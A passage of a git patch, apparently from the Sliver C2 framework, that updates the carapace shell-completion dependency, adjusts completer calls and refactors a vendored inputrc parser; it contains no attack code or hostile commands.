100644 vendor/github.com/rsteube/carapace-shlex/shlex.go create mode 100644 vendor/github.com/rsteube/carapace-shlex/tokenslice.go create mode 100644 vendor/github.com/rsteube/carapace-shlex/wordbreak.go create mode 100644 vendor/github.com/rsteube/carapace/experimental.go create mode 100644 vendor/github.com/rsteube/carapace/internal/shell/bash/patch.go delete mode 100644 vendor/github.com/rsteube/carapace/internal/shell/library/action.go create mode 100644 vendor/github.com/rsteube/carapace/internal/shell/nushell/patch.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/match/match.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/traverse/git.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/traverse/os.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/traverse/traverse.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/traverse/xdg.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/util/util.go create mode 100644 vendor/github.com/rsteube/carapace/pkg/x/x.go diff --git a/client/command/beacons/commands.go b/client/command/beacons/commands.go index a6599eb145..0ff27c04f1 100644 --- a/client/command/beacons/commands.go +++ b/client/command/beacons/commands.go @@ -102,7 +102,7 @@ func BeaconIDCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValuesDescribed(results...).Tag("beacons"). - Invoke(c).Filter(c.Args).ToA() + Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/creds/creds.go b/client/command/creds/creds.go index 7f9a4dbd72..0ab3063f81 100644 --- a/client/command/creds/creds.go +++ b/client/command/creds/creds.go @@ -187,6 +187,6 @@ func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValuesDescribed(results...).Tag("credentials"). - Invoke(c).Filter(c.Args).ToA() + Invoke(c).Filter(c.Args...).ToA() }) } diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 3049b869fb..96cb5805bb 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -151,7 +151,7 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { } return carapace.ActionValuesDescribed(results...).Tag("traffic encoders"). - Invoke(c).Filter(c.Args).ToA() + Invoke(c).Filter(c.Args...).ToA() }).Cache(completers.CacheCompilerInfo) } diff --git a/client/command/portfwd/portfwd.go b/client/command/portfwd/portfwd.go index b06c8a86d7..9c1f24752a 100644 --- a/client/command/portfwd/portfwd.go +++ b/client/command/portfwd/portfwd.go @@ -95,7 +95,7 @@ func PortfwdIDCompleter(_ *console.SliverClient) carapace.Action { comps := carapace.ActionValuesDescribed(results...).Tag("local port forwarders") - return comps.Invoke(c).Filter(c.Args).ToA() + return comps.Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/rportfwd/portfwd.go b/client/command/rportfwd/portfwd.go index 4e96935875..b3a308fdcf 100644 --- a/client/command/rportfwd/portfwd.go +++ b/client/command/rportfwd/portfwd.go @@ -108,7 +108,7 @@ func PortfwdIDCompleter(con *console.SliverClient) carapace.Action { comps := carapace.ActionValuesDescribed(results...).Tag("remote port forwarders") - return comps.Invoke(c).Filter(c.Args).ToA() + return comps.Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/client/command/socks/socks.go b/client/command/socks/socks.go index e286fc4944..d689c2ebda 100644 --- a/client/command/socks/socks.go +++ b/client/command/socks/socks.go @@ -81,7 +81,7 @@ func SocksIDCompleter(_ *console.SliverClient) carapace.Action { comps := carapace.ActionValuesDescribed(results...).Tag("socks servers") - return comps.Invoke(c).Filter(c.Args).ToA() + return comps.Invoke(c).Filter(c.Args...).ToA() } return carapace.ActionCallback(callback) diff --git a/go.mod b/go.mod index be8026a08e..4ff1b3ec85 100644 --- a/go.mod +++ b/go.mod @@ -4,8 +4,6 @@ go 1.21.1 toolchain go1.21.4 -replace github.com/rsteube/carapace v0.45.0 => github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d - require ( filippo.io/age v1.1.1 github.com/AlecAivazis/survey/v2 v2.3.7 @@ -35,10 +33,10 @@ require ( github.com/moloch--/asciicast v0.1.0 github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 github.com/ncruces/go-sqlite3 v0.8.4 - github.com/reeflective/console v0.1.11 - github.com/reeflective/readline v1.0.11 + github.com/reeflective/console v0.1.14 + github.com/reeflective/readline v1.0.13 github.com/reeflective/team v0.1.1 - github.com/rsteube/carapace v0.45.0 + github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 github.com/sirupsen/logrus v1.9.3 github.com/spf13/cobra v1.8.0 github.com/spf13/pflag v1.0.5 @@ -48,7 +46,7 @@ require ( github.com/xlab/treeprint v1.2.0 github.com/yiya1989/sshkrb5 v0.0.1 golang.org/x/crypto v0.16.0 - golang.org/x/exp v0.0.0-20231127185646-65229373498e + golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611 golang.org/x/net v0.19.0 golang.org/x/sys v0.15.0 golang.org/x/term v0.15.0 @@ -152,6 +150,7 @@ require ( github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect github.com/rivo/uniseg v0.4.4 // indirect + github.com/rsteube/carapace-shlex v0.1.1 // indirect github.com/safchain/ethtool v0.3.0 // indirect github.com/tailscale/certstore v0.1.1-0.20231020161753-77811a65f4ff // indirect github.com/tailscale/go-winio v0.0.0-20231025203758-c4f33415bf55 // indirect diff --git a/go.sum b/go.sum index 7c8761b4ef..cb37462a1a 100644 --- a/go.sum +++ b/go.sum @@ -99,7 +99,6 @@ github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsa github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q= github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs= github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= -github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY= @@ -353,12 +352,10 @@ github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZN github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e h1:51xcRlSMBU5rhM9KahnJGfEsBPVPz3182TgFRowA8yY= github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e/go.mod h1:tcaRap0jS3eifrEEllL6ZMd9dg8IlDpi2S1oARrQ+NI= -github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d h1:RK0OaQs+3CMJnfXc5SNEg+Kbu4A2AVljPuG5/HcaUdM= -github.com/reeflective/carapace v0.25.2-0.20230816093630-a30f5184fa0d/go.mod h1:jkLt41Ne2TD2xPuMdX/2O05Smhy8vMgG7O2TYvC0yOc= -github.com/reeflective/console v0.1.11 h1:T96PqsIqERNrbWbxVMafq2Wbsjr0v10vACPkRHFfMJg= -github.com/reeflective/console v0.1.11/go.mod h1:gR61i2OKUHn+dITXK1h9HIfef7Godz3xz8Z/ybnUIC0= -github.com/reeflective/readline v1.0.11 h1:4+aiebj7a89hTRJOMM98H+md1Kxu+v1XkfdCs0n6odQ= -github.com/reeflective/readline v1.0.11/go.mod h1:mcD0HxNVJVteVwDm9caXKg52nQACVyfh8EyuBmgVlzY= +github.com/reeflective/console v0.1.14 h1:RAZhiaT3FtMdi+rGVTlF5Lo/IgIJEG/WtGUqxphLD/Y= +github.com/reeflective/console v0.1.14/go.mod h1:Gjb24RDyCG+Q75vsAknUcK3oTqnsfFt/S107p/DW7j0= +github.com/reeflective/readline v1.0.13 h1:TeJmYw9B7VRPZWfNExr9QHxL1m0iSicyqBSQIRn39Ss= +github.com/reeflective/readline v1.0.13/go.mod h1:3iOe/qyb2jEy0KqLrNlb/CojBVqxga9ACqz/VU22H6A= github.com/reeflective/team v0.1.1 h1:6kWg+LwrYAV/QIjPfXZFp8wA9cEj4IUEE1L9BGOal0U= github.com/reeflective/team v0.1.1/go.mod h1:vl9Qz2nXOy+iOHIQPm15Dno3NXn6LO8+7M3bKTaKIC8= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= @@ -368,6 +365,10 @@ github.com/rivo/uniseg v0.4.4 h1:8TfxU8dW6PdqD27gjM8MVNuicgxIjxpm4K7x4jp8sis= github.com/rivo/uniseg v0.4.4/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= +github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 h1:ctOUuKn5PO6VtwtaS7unNrm6u20YXESPtnKEie/u304= +github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= +github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU= +github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/safchain/ethtool v0.3.0 h1:gimQJpsI6sc1yIqP/y8GYgiXn/NjgvpM0RNoWLVVmP0= github.com/safchain/ethtool v0.3.0/go.mod h1:SA9BwrgyAqNo7M+uaL6IYbxpm5wk3L7Mm6ocLW+CJUs= @@ -375,7 +376,6 @@ github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6Mwd github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= -github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0= github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= @@ -458,8 +458,8 @@ golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0 golang.org/x/crypto v0.16.0 h1:mMMrFzRSCF0GvB7Ne27XVtVAaXLrPmgPC7/v0tkwHaY= golang.org/x/crypto v0.16.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4= golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= -golang.org/x/exp v0.0.0-20231127185646-65229373498e h1:Gvh4YaCaXNs6dKTlfgismwWZKyjVZXwOPfIyUaqU3No= -golang.org/x/exp v0.0.0-20231127185646-65229373498e/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= +golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611 h1:qCEDpW1G+vcj3Y7Fy52pEM1AWm3abj8WimGYejI3SC4= +golang.org/x/exp v0.0.0-20231214170342-aacd6d4b4611/go.mod h1:iRJReGqOEeBhDZGkGbynYwcHlctCvnjTYIamk7uXpHI= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9 h1:j3D9DvWRpUfIyFfDPws7LoIZ2MAI1OJHdQXtTnYtN+k= golang.org/x/exp/typeparams v0.0.0-20230905200255-921286631fa9/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= diff --git a/vendor/github.com/reeflective/console/commands/readline/bind.go b/vendor/github.com/reeflective/console/commands/readline/bind.go index 2af32deb5f..dca0eb2e2b 100644 --- a/vendor/github.com/reeflective/console/commands/readline/bind.go +++ b/vendor/github.com/reeflective/console/commands/readline/bind.go @@ -85,8 +85,8 @@ Exporting binds: } var name string - var reeflective = "reeflective" - var buf = &cfgBuilder{buf: &strings.Builder{}} + reeflective := "reeflective" + buf := &cfgBuilder{buf: &strings.Builder{}} // First prepare the branching strings for any // needed conditionals (App, Lib, keymap, etc) diff --git a/vendor/github.com/reeflective/console/commands/readline/completers.go b/vendor/github.com/reeflective/console/commands/readline/completers.go index 135a121bec..d199852cad 100644 --- a/vendor/github.com/reeflective/console/commands/readline/completers.go +++ b/vendor/github.com/reeflective/console/commands/readline/completers.go @@ -20,7 +20,6 @@ package readline import ( "fmt" - "strings" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -84,7 +83,7 @@ func completeBindSequences(sh *readline.Shell, cmd *cobra.Command) carapace.Acti // Look for the current argument and check whether or not it's quoted. // If yes, only include quotes at the end of the inserted value. // If no quotes, include them in both. - if strings.HasPrefix(ctx.Value, "\"") || ctx.Value == "" { + if ctx.Value == "" { completions = completions.Prefix("\"") } diff --git a/vendor/github.com/reeflective/console/commands/readline/export.go b/vendor/github.com/reeflective/console/commands/readline/export.go index 67f70e9ff2..25ff043997 100644 --- a/vendor/github.com/reeflective/console/commands/readline/export.go +++ b/vendor/github.com/reeflective/console/commands/readline/export.go @@ -49,7 +49,7 @@ func listVars(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command) { return } - var variables = make([]string, len(shell.Config.Vars)) + variables := make([]string, len(shell.Config.Vars)) for variable := range shell.Config.Vars { variables = append(variables, variable) @@ -191,7 +191,7 @@ func listBinds(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, keyma } // Get all the commands, used to sort the displays. - var commands = make([]string, len(shell.Keymap.Commands())) + commands := make([]string, len(shell.Keymap.Commands())) for command := range shell.Keymap.Commands() { commands = append(commands, command) } @@ -276,7 +276,7 @@ func listBindsRC(shell *readline.Shell, buf *cfgBuilder, cmd *cobra.Command, key } // Get all the commands, used to sort the displays. - var commands = make([]string, len(shell.Keymap.Commands())) + commands := make([]string, len(shell.Keymap.Commands())) for command := range shell.Keymap.Commands() { commands = append(commands, command) } diff --git a/vendor/github.com/reeflective/console/completer.go b/vendor/github.com/reeflective/console/completer.go index ad65fadcbd..4babc24fd6 100644 --- a/vendor/github.com/reeflective/console/completer.go +++ b/vendor/github.com/reeflective/console/completer.go @@ -10,8 +10,8 @@ import ( "unicode" "unicode/utf8" - "github.com/rsteube/carapace" "github.com/rsteube/carapace/pkg/style" + completer "github.com/rsteube/carapace/pkg/x" "github.com/rsteube/carapace/pkg/xdg" "github.com/reeflective/readline" @@ -26,15 +26,16 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { // Prepare arguments for the carapace completer // (we currently need those two dummies for avoiding a panic). - args = append([]string{"examples", "_carapace"}, args...) + args = append([]string{c.name, "_carapace"}, args...) // Call the completer with our current command context. - values, meta := carapace.Complete(menu.Command, args, c.completeCommands(menu)) + completions, err := completer.Complete(menu.Command, args...) - // Tranfer all completion results to our readline shell completions. - raw := make([]readline.Completion, len(values)) + // The completions are never nil: fill out our own object + // with everything it contains, regardless of errors. + raw := make([]readline.Completion, len(completions.Values)) - for idx, val := range values { + for idx, val := range completions.Values.Decolor() { raw[idx] = readline.Completion{ Value: unescapeValue(prefixComp, prefixLine, val.Value), Display: val.Display, @@ -42,44 +43,44 @@ func (c *Console) complete(line []rune, pos int) readline.Completions { Style: val.Style, Tag: val.Tag, } + + if !completions.Nospace.Matches(val.Value) { + raw[idx].Value = val.Value + " " + } } // Assign both completions and command/flags/args usage strings. comps := readline.CompleteRaw(raw) - comps = comps.Usage(meta.Usage) + comps = comps.Usage(completions.Usage) comps = c.justifyCommandComps(comps) - // Suffix matchers for the completions if any. - if meta.Nospace.String() != "" { - comps = comps.NoSpace([]rune(meta.Nospace.String())...) + // If any errors arose from the completion call itself. + if err != nil { + comps = readline.CompleteMessage("failed to load config: " + err.Error()) } - // Other status/error messages - for _, msg := range meta.Messages.Get() { + // Completion status/errors + for _, msg := range completions.Messages.Get() { comps = comps.Merge(readline.CompleteMessage(msg)) } + // Suffix matchers for the completions if any. + suffixes, err := completions.Nospace.MarshalJSON() + if len(suffixes) > 0 && err == nil { + comps = comps.NoSpace([]rune(string(suffixes))...) + } + // If we have a quote/escape sequence unaccounted // for in our completions, add it to all of them. comps = comps.Prefix(prefixComp) comps.PREFIX = prefixLine - return comps -} - -// Regenerate commands and apply any filters. -func (c *Console) completeCommands(menu *Menu) func() { - commands := func() { - cmd := menu.Command - if menu.cmds != nil { - cmd = menu.cmds() - } + // Finally, reset our command tree for the next call. + completer.ClearStorage() + menu.resetPreRun() + menu.hideFilteredCommands(menu.Command) - menu.resetPreRun() - menu.hideFilteredCommands(cmd) - } - - return commands + return comps } func (c *Console) justifyCommandComps(comps readline.Completions) readline.Completions { diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index 619dd69f41..795363ae2f 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -81,10 +81,11 @@ func New(app string) *Console { console.shell.History.Add(name, defaultMenu.histories[name]) } - // Command completion, syntax highlighting, multiline callbacks, etc. + // Syntax highlighting, multiline callbacks, etc. console.shell.AcceptMultiline = console.acceptMultiline console.shell.SyntaxHighlighter = console.highlightSyntax + // Completion console.shell.Completer = console.complete console.defaultStyleConfig() diff --git a/vendor/github.com/reeflective/readline/emacs.go b/vendor/github.com/reeflective/readline/emacs.go index a8d267ebbc..5dfbe148ba 100644 --- a/vendor/github.com/reeflective/readline/emacs.go +++ b/vendor/github.com/reeflective/readline/emacs.go @@ -7,13 +7,14 @@ import ( "strings" "unicode" + "github.com/rivo/uniseg" + "github.com/reeflective/readline/inputrc" "github.com/reeflective/readline/internal/color" "github.com/reeflective/readline/internal/completion" "github.com/reeflective/readline/internal/keymap" "github.com/reeflective/readline/internal/strutil" "github.com/reeflective/readline/internal/term" - "github.com/rivo/uniseg" ) // standardCommands returns all standard/emacs commands. diff --git a/vendor/github.com/reeflective/readline/inputrc/parse.go b/vendor/github.com/reeflective/readline/inputrc/parse.go index 7f2f1d3b3f..429aa128ad 100644 --- a/vendor/github.com/reeflective/readline/inputrc/parse.go +++ b/vendor/github.com/reeflective/readline/inputrc/parse.go @@ -15,6 +15,13 @@ import ( "unicode/utf8" ) +const ( + emacs = "emacs" + hexValNum = 10 + metaSeqLength = 6 + setDirectiveLen = 4 +) + // Parser is a inputrc parser. type Parser struct { haltOnErr bool @@ -32,48 +39,53 @@ type Parser struct { // New creates a new inputrc parser. func New(opts ...Option) *Parser { // build parser state - p := &Parser{ + parser := &Parser{ line: 1, } for _, o := range opts { - o(p) + o(parser) } - return p + + return parser } // Parse parses inputrc data from the reader, passing sets and binding keys to // h based on the configured options. -func (p *Parser) Parse(r io.Reader, h Handler) error { +func (p *Parser) Parse(stream io.Reader, handler Handler) error { var err error // reset parser state - p.keymap, p.line, p.conds, p.errs = "emacs", 1, append(p.conds[:0], true), p.errs[:0] + p.keymap, p.line, p.conds, p.errs = emacs, 1, append(p.conds[:0], true), p.errs[:0] // scan file by lines var line []rune - var i, end int - s := bufio.NewScanner(r) - for ; s.Scan(); p.line++ { - line = []rune(s.Text()) + var pos, end int + scanner := bufio.NewScanner(stream) + + for ; scanner.Scan(); p.line++ { + line = []rune(scanner.Text()) end = len(line) - if i = findNonSpace(line, 0, end); i == end { + + if pos = findNonSpace(line, 0, end); pos == end { continue } // skip blank/comment - switch line[i] { + switch line[pos] { case 0, '\r', '\n', '#': continue } // next - if err = p.next(h, line, i, end); err != nil { + if err = p.next(handler, line, pos, end); err != nil { p.errs = append(p.errs, err) if p.haltOnErr { return err } } } - if err = s.Err(); err != nil { + + if err = scanner.Err(); err != nil { p.errs = append(p.errs, err) return err } + return nil } @@ -83,53 +95,60 @@ func (p *Parser) Errs() []error { } // next handles the next statement. -func (p *Parser) next(h Handler, r []rune, i, end int) error { - a, b, tok, err := p.readNext(r, i, end) +func (p *Parser) next(handler Handler, seq []rune, pos, end int) error { + directive, val, tok, err := p.readNext(seq, pos, end) if err != nil { return err } + switch tok { case tokenBind, tokenBindMacro: - return p.doBind(h, a, b, tok == tokenBindMacro) + return p.doBind(handler, directive, val, tok == tokenBindMacro) case tokenSet: - return p.doSet(h, a, b) + return p.doSet(handler, directive, val) case tokenConstruct: - return p.do(h, a, b) + return p.do(handler, directive, val) } + return nil } // readNext reads the next statement. -func (p *Parser) readNext(r []rune, i, end int) (string, string, token, error) { - i = findNonSpace(r, i, end) +func (p *Parser) readNext(seq []rune, pos, end int) (string, string, token, error) { + pos = findNonSpace(seq, pos, end) + switch { - case r[i] == 's' && grab(r, i+1, end) == 'e' && grab(r, i+2, end) == 't' && unicode.IsSpace(grab(r, i+3, end)): + case seq[pos] == 's' && grab(seq, pos+1, end) == 'e' && grab(seq, pos+2, end) == 't' && unicode.IsSpace(grab(seq, pos+3, end)): // read set - return p.readSymbols(r, i+4, end, tokenSet) - case r[i] == '$': + return p.readSymbols(seq, pos+setDirectiveLen, end, tokenSet, true) + case seq[pos] == '$': // read construct - return p.readSymbols(r, i, end, tokenConstruct) + return p.readSymbols(seq, pos, end, tokenConstruct, false) } - // read key seq - var seq string - if r[i] == '"' || r[i] == '\'' { - start, ok := i, false - if i, ok = findStringEnd(r, i, end); !ok { + // read key keySeq + var keySeq string + + if seq[pos] == '"' || seq[pos] == '\'' { + var ok bool + start := pos + + if pos, ok = findStringEnd(seq, pos, end); !ok { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r[start:]), + Text: string(seq[start:]), Err: ErrBindMissingClosingQuote, } } - seq = unescapeRunes(r, start+1, i-1) + + keySeq = unescapeRunes(seq, start+1, pos-1) } else { var err error - if seq, i, err = decodeKey(r, i, end); err != nil { + if keySeq, pos, err = decodeKey(seq, pos, end); err != nil { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r), + Text: string(seq), Err: err, } } @@ -139,44 +158,61 @@ func (p *Parser) readNext(r []rune, i, end int) (string, string, token, error) { // does not bind a key) if a space follows the key declaration. made a // decision to instead return an error if the : is missing in all cases. // seek : - for ; i < end && r[i] != ':'; i++ { + for ; pos < end && seq[pos] != ':'; pos++ { } - if i == end || r[i] != ':' { + + if pos == end || seq[pos] != ':' { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r), + Text: string(seq), Err: ErrMissingColon, } } // seek non space - if i = findNonSpace(r, i+1, end); i == end || r[i] == '#' { - return seq, "", tokenNone, nil + if pos = findNonSpace(seq, pos+1, end); pos == end || seq[pos] == '#' { + return keySeq, "", tokenNone, nil } // seek - if r[i] == '"' || r[i] == '\'' { - start, ok := i, false - if i, ok = findStringEnd(r, i, end); !ok { + if seq[pos] == '"' || seq[pos] == '\'' { + var ok bool + start := pos + + if pos, ok = findStringEnd(seq, pos, end); !ok { return "", "", tokenNone, &ParseError{ Name: p.name, Line: p.line, - Text: string(r[start:]), + Text: string(seq[start:]), Err: ErrMacroMissingClosingQuote, } } - return seq, unescapeRunes(r, start+1, i-1), tokenBindMacro, nil + + return keySeq, unescapeRunes(seq, start+1, pos-1), tokenBindMacro, nil } - return seq, string(r[i:findEnd(r, i, end)]), tokenBind, nil + + return keySeq, string(seq[pos:findEnd(seq, pos, end)]), tokenBind, nil } // readSet reads the next two symbols. -func (p *Parser) readSymbols(r []rune, i, end int, tok token) (string, string, token, error) { - start := findNonSpace(r, i, end) - i = findEnd(r, start, end) - a := string(r[start:i]) - start = findNonSpace(r, i, end) - i = findEnd(r, start, end) - return a, string(r[start:i]), tok, nil +func (p *Parser) readSymbols(seq []rune, pos, end int, tok token, allowStrings bool) (string, string, token, error) { + start := findNonSpace(seq, pos, end) + pos = findEnd(seq, start, end) + val := string(seq[start:pos]) + start = findNonSpace(seq, pos, end) + var ok bool + + if c := grab(seq, start, end); allowStrings || c == '"' || c == '\'' { + var epos int + if epos, ok = findStringEnd(seq, start, end); ok { + pos = epos + } + } + + if !allowStrings || !ok { + pos = findEnd(seq, start, end) + } + + return val, string(seq[start:pos]), tok, nil } // doBind handles a bind. @@ -184,14 +220,16 @@ func (p *Parser) doBind(h Handler, sequence, action string, macro bool) error { if !p.conds[len(p.conds)-1] { return nil } + return h.Bind(p.keymap, sequence, action, macro) } // doSet handles a set. -func (p *Parser) doSet(h Handler, name, value string) error { +func (p *Parser) doSet(handler Handler, name, value string) error { if !p.conds[len(p.conds)-1] { return nil } + switch name { case "keymap": if p.strict { @@ -209,8 +247,11 @@ func (p *Parser) doSet(h Handler, name, value string) error { } } } + p.keymap = value + return nil + case "editing-mode": switch value { case "emacs", "vi": @@ -222,55 +263,66 @@ func (p *Parser) doSet(h Handler, name, value string) error { Err: ErrInvalidEditingMode, } } - return h.Set(name, value) + + return handler.Set(name, value) } - if v := h.Get(name); v != nil { + + if val := handler.Get(name); val != nil { // defined in vars, so pass to set only as that type - var z interface{} - switch v.(type) { + var data interface{} + switch val.(type) { case bool: - z = strings.ToLower(value) == "on" || value == "1" + data = strings.ToLower(value) == "on" || value == "1" case string: - z = value + data = value case int: i, err := strconv.Atoi(value) if err != nil { return err } - z = i + + data = i + default: - panic(fmt.Sprintf("unsupported type %T", v)) + panic(fmt.Sprintf("unsupported type %T", val)) } - return h.Set(name, z) + + return handler.Set(name, data) } // not set, so try to convert to usable value if i, err := strconv.Atoi(value); err == nil { - return h.Set(name, i) + return handler.Set(name, i) } + switch strings.ToLower(value) { case "off": - return h.Set(name, false) + return handler.Set(name, false) case "on": - return h.Set(name, true) + return handler.Set(name, true) } - return h.Set(name, value) + + return handler.Set(name, value) } // do handles a construct. -func (p *Parser) do(h Handler, a, b string) error { - switch a { +func (p *Parser) do(handler Handler, keyword, val string) error { + switch keyword { case "$if": var eval bool + switch { - case strings.HasPrefix(b, "mode="): - eval = strings.TrimPrefix(b, "mode=") == p.mode - case strings.HasPrefix(b, "term="): - eval = strings.TrimPrefix(b, "term=") == p.term + case strings.HasPrefix(val, "mode="): + eval = strings.TrimPrefix(val, "mode=") == p.mode + case strings.HasPrefix(val, "term="): + eval = strings.TrimPrefix(val, "term=") == p.term default: - eval = strings.ToLower(b) == p.app + eval = strings.ToLower(val) == p.app } + p.conds = append(p.conds, eval) + return nil + case "$else": if len(p.conds) == 1 { return &ParseError{ @@ -280,8 +332,11 @@ func (p *Parser) do(h Handler, a, b string) error { Err: ErrElseWithoutMatchingIf, } } + p.conds[len(p.conds)-1] = !p.conds[len(p.conds)-1] + return nil + case "$endif": if len(p.conds) == 1 { return &ParseError{ @@ -291,34 +346,42 @@ func (p *Parser) do(h Handler, a, b string) error { Err: ErrEndifWithoutMatchingIf, } } + p.conds = p.conds[:len(p.conds)-1] + return nil + case "$include": if !p.conds[len(p.conds)-1] { return nil } - path := expandIncludePath(b) - buf, err := h.ReadFile(path) + + path := expandIncludePath(val) + buf, err := handler.ReadFile(path) + switch { case err != nil && errors.Is(err, os.ErrNotExist): return nil case err != nil: return err } - return Parse(bytes.NewReader(buf), h, WithName(b), WithApp(p.app), WithTerm(p.term), WithMode(p.mode)) + + return Parse(bytes.NewReader(buf), handler, WithName(val), WithApp(p.app), WithTerm(p.term), WithMode(p.mode)) } + if !p.conds[len(p.conds)-1] { return nil } // delegate unknown construct - if err := h.Do(a, b); err != nil { + if err := handler.Do(keyword, val); err != nil { return &ParseError{ Name: p.name, Line: p.line, - Text: a + " " + b, + Text: keyword + " " + val, Err: err, } } + return nil } @@ -381,6 +444,7 @@ func (err *ParseError) Error() string { if err.Name != "" { s = " " + err.Name + ":" } + return fmt.Sprintf("inputrc:%s line %d: %s: %v", s, err.Line, err.Text, err.Err) } @@ -415,6 +479,7 @@ func (tok token) String() string { case tokenConstruct: return "construct" } + return fmt.Sprintf("token(%d)", tok) } @@ -431,22 +496,26 @@ func findEnd(r []rune, i, end int) int { for c := grab(r, i+1, end); i < end && c != '#' && !unicode.IsSpace(c) && !unicode.IsControl(c); i++ { c = 